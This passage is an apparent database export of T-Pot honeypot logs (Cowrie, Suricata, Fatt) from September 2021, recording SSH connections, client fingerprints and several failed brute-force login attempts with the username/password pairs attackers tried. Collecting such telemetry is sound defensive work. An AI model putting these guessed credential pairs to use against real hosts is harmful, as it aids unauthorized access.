"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27236	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:36.08481+03	2021-09-20 14:15:14.314646+03	{"_id": "VAbpAnwBvYTbRNuETiUH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b102fd58f9b3", "@version": "1", "timestamp": "2021-09-20T11:13:36.084810Z", "@timestamp": "2021-09-20T11:13:36.084Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27237	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:36.207951+03	2021-09-20 14:15:14.315646+03	{"_id": "VQbpAnwBvYTbRNuETiUI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [cmsftp/cmsftp] failed", "session": "0f9ae09f884d", "@version": "1", "password": "cmsftp", "username": "cmsftp", "timestamp": "2021-09-20T11:13:36.207951Z", "@timestamp": "2021-09-20T11:13:36.207Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27238	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:36.649568+03	2021-09-20 14:15:14.317647+03	{"_id": "VgbpAnwBvYTbRNuETiUI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/libreelec] failed", "session": "11525fb6ded7", "@version": "1", "password": "libreelec", "username": "root", "timestamp": "2021-09-20T11:13:36.649568Z", "@timestamp": "2021-09-20T11:13:36.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27239	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 14:13:27.719568+03	2021-09-20 14:15:14.318645+03	{"_id": "2AbpAnwBvYTbRNuELiS_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.42.11.6431222109.199.241.180'", "session": "a47f1fcfc795", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.42.11.6431222109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T11:13:27.719568Z", "@timestamp": "2021-09-20T11:13:27.719Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27240	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:13:29.084559+03	2021-09-20 14:15:14.319645+03	{"_id": "2QbpAnwBvYTbRNuEMCTG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 440774992395934, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59536, "dest_port": 22, "timestamp": "2021-09-20T11:13:29.084559Z", "@timestamp": "2021-09-20T11:13:29.084Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27593	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:05.929378+03	2021-09-20 14:30:01.670526+03	{"_id": "OAbqAnwBvYTbRNuErSnm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 10 seconds", "session": "8d7d10270092", "@version": "1", "duration": 10.696521043777466, "timestamp": "2021-09-20T11:15:05.929378Z", "@timestamp": "2021-09-20T11:15:05.929Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27241	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:29.348998+03	2021-09-20 14:15:14.320646+03	{"_id": "3AbpAnwBvYTbRNuEMST0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.126.106.88", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48306, "timestamp": "2021-09-20T11:13:29.348998", "@timestamp": "2021-09-20T11:13:29.348Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27242	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:37.257211+03	2021-09-20 14:15:14.321645+03	{"_id": "WAbpAnwBvYTbRNuEUSXv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [test2/test2] failed", "session": "8ad84656c0f1", "@version": "1", "password": "test2", "username": "test2", "timestamp": "2021-09-20T11:13:37.257211Z", "@timestamp": "2021-09-20T11:13:37.257Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27243	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:38.193873+03	2021-09-20 14:15:14.323647+03	{"_id": "XAbpAnwBvYTbRNuEVSXY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f2738451f43a", "@version": "1", "duration": 2.840021848678589, "timestamp": "2021-09-20T11:13:38.193873Z", "@timestamp": "2021-09-20T11:13:38.193Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27244	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:13:39.064348+03	2021-09-20 14:15:14.324646+03	{"_id": "YQbpAnwBvYTbRNuEWSXD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:52046 (192.168.176.2:22) [session: 4964a6a48908]", "session": "4964a6a48908", "@version": "1", "protocol": "ssh", "src_port": 52046, "dest_port": 22, "timestamp": "2021-09-20T11:13:39.064348Z", "@timestamp": "2021-09-20T11:13:39.064Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27245	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:13:39.065043+03	2021-09-20 14:15:14.325646+03	{"_id": "eAbpAnwBvYTbRNuEWSXF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4964a6a48908", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:39.065043Z", "@timestamp": "2021-09-20T11:13:39.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27246	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:38.965316+03	2021-09-20 14:15:14.326646+03	{"_id": "dgbpAnwBvYTbRNuEWSXD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "11525fb6ded7", "@version": "1", "duration": 5.27245306968689, "timestamp": "2021-09-20T11:13:38.965316Z", "@timestamp": "2021-09-20T11:13:38.965Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27248	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:13:35.505174+03	2021-09-20 14:15:14.329645+03	{"_id": "UQbpAnwBvYTbRNuETSVT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44374, "dest_port": 22, "timestamp": "2021-09-20T11:13:35.505174", "@timestamp": "2021-09-20T11:13:35.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27249	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:13:46.802426+03	2021-09-20 14:15:14.330646+03	{"_id": "BAbpAnwBvYTbRNuEeCZT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-s